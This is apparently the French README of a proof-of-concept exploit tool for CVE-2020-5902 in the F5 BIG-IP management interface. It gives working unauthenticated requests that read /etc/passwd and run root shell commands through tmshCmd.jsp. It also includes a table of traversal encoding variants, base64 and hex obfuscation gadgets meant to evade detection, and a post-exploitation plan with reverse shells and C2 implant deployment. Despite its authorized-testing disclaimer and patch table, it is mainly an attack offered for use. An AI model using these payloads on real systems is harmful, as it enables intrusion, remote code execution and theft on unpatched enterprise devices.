Le F5 BIG-IP est une plateforme de livraison et de sécurité d'applications largement utilisée dans les environnements d'entreprise. La CVE-2020-5902 est une vulnérabilité critique dans le TMUI qui, dans les versions non corrigées, peut permettre un accès non autorisé et une exécution de code à distance, renforçant la nécessité de mise à jour et de gestion continue des vulnérabilités.
Preuve de concept pour la vulnérabilité critique de traversée de chemin / exécution de code à distance dans l'interface utilisateur de gestion du trafic (TMUI) de F5 BIG-IP.
⚠️ Réservé aux tests d'intrusion autorisés et à la recherche en sécurité. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale. L'auteur décline toute responsabilité en cas d'usage abusif de cet outil.
F5 BIG-IP est une famille d'appareils réseau polyvalents (équilibreurs de charge, WAF, contrôleurs de diffusion d'applications) déployée dans la majorité des entreprises du Fortune 500, des institutions financières, des organismes de santé et des agences gouvernementales dans le monde entier. L'interface utilisateur de gestion du trafic (TMUI) — également appelée utilitaire de configuration — est le portail de gestion web accessible sur le port 443 (ou 8443).
En juillet 2020, F5 a divulgué CVE-2020-5902, une vulnérabilité de traversée de chemin Critique (CVSS 9.8) non authentifiée dans TMUI qui permet à un attaquant distant non authentifié de :
En quelques jours après la divulgation publique, une exploitation massive a été observée, y compris par des acteurs étatiques.
TMUI est construit sur Apache Tomcat et utilise un filtre de servlet pour imposer l'authentification sur les ressources protégées. La vulnérabilité réside dans la façon dont Tomcat analyse les segments de chemin délimités par un point-virgule (;).
La requête suivante contourne complètement l'authentification :
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Pourquoi cela fonctionne :
/tmui/login.jsp (se termine avant ;) — qui est la page de connexion publique — et autorise la requête./..;/ comme une traversée de chemin (/../) avant la distribution.fileRead.jsp sans authentification.┌──────────────────────────────────────────────────────────────────┐
│ Requête client │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Filtre de servlet Tomcat │
│ Voit : /tmui/login.jsp ✓ │
│ (point d'accès public → AUTORISER) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Résolveur d'URL Tomcat │
│ Résout : /..;/ → /../ │
│ Chemin final : /tmui/locallb/│
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (pas de vérification) │
│ Lit des fichiers arbitraires en root│
└───────────────────────────────┘
Le servlet tmshCmd.jsp (également accessible via la même traversée) transmet les paramètres command et utilCmdArgs directement à tmsh (le shell de gestion BIG-IP), qui exécute run util bash -c '...'. Cela permet une exécution de commandes OS de niveau root sans authentification :
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1 : Reconnaissance
└─ Reconnaissance de bannière TCP (empreinte HTTP/TLS)
└─ Analyse du certificat SSL
└─ Empreinte des en-têtes HTTP (Server, X-Powered-By, Set-Cookie)
└─ Estimation de la version BIG-IP à partir de /etc/f5-release
Phase 2 : Vérification de la vulnérabilité
└─ Itération sur 6 variantes de codage de traversée
└─ Test sur 4 fichiers sentinelles connus lisibles
└─ Confirmation que la sortie correspond aux indicateurs connus (root:x:0:0, BIG-IP, etc.)
Phase 3 : Exploitation
├─ Vecteur A : tmshCmd.jsp (RCE principal)
│ └─ Commande obscurcie via gadgets base64 / hex-encode
├─ Vecteur B : fileRead.jsp + injection de commande dans le paramètre fileName
│ └─ Commande OS injectée dans le paramètre fileName
└─ Vecteur C : Empoisonnement des logs (injection User-Agent → lecture access_log)
Phase 4 : Post-exploitation (optionnel)
├─ Shell interactif (REPL de commande)
├─ Shell inverse (4 one-liners simultanés)
├─ Force brute LFI (30 chemins sensibles, parallèle)
└─ Déploiement d'implant C2 (Sliver / Metasploit / personnalisé)
| Variante | Charge utile |
|---|---|
| Standard | tmui/login.jsp/..;/tmui/... |
| Point-virgule encodé | tmui/login.jsp/..%3b/tmui/... |
| Double encodage URL | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Points unicode | tmui/login.jsp/%2e%2e;/tmui/... |
| Variation de casse | TMUI/login.jsp/..;/tmui/... |
| Confusion de répertoire | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
L'outil applique l'un des deux gadgets d'obscurcissement par exécution, rendant la détection par signature statique plus difficile :
# Gadget 1 — Pipeline d'encodage/décodage Base64
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Évaluation printf hexadécimale
eval "$(printf '\x69\x64')"
| Branche BIG-IP | Plage vulnérable | Version corrigée |
|---|---|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
BIG-IQ, BIG-IQ Centralized Management, F5OS et Traffix SDC ne sont pas concernés par cette CVE spécifique.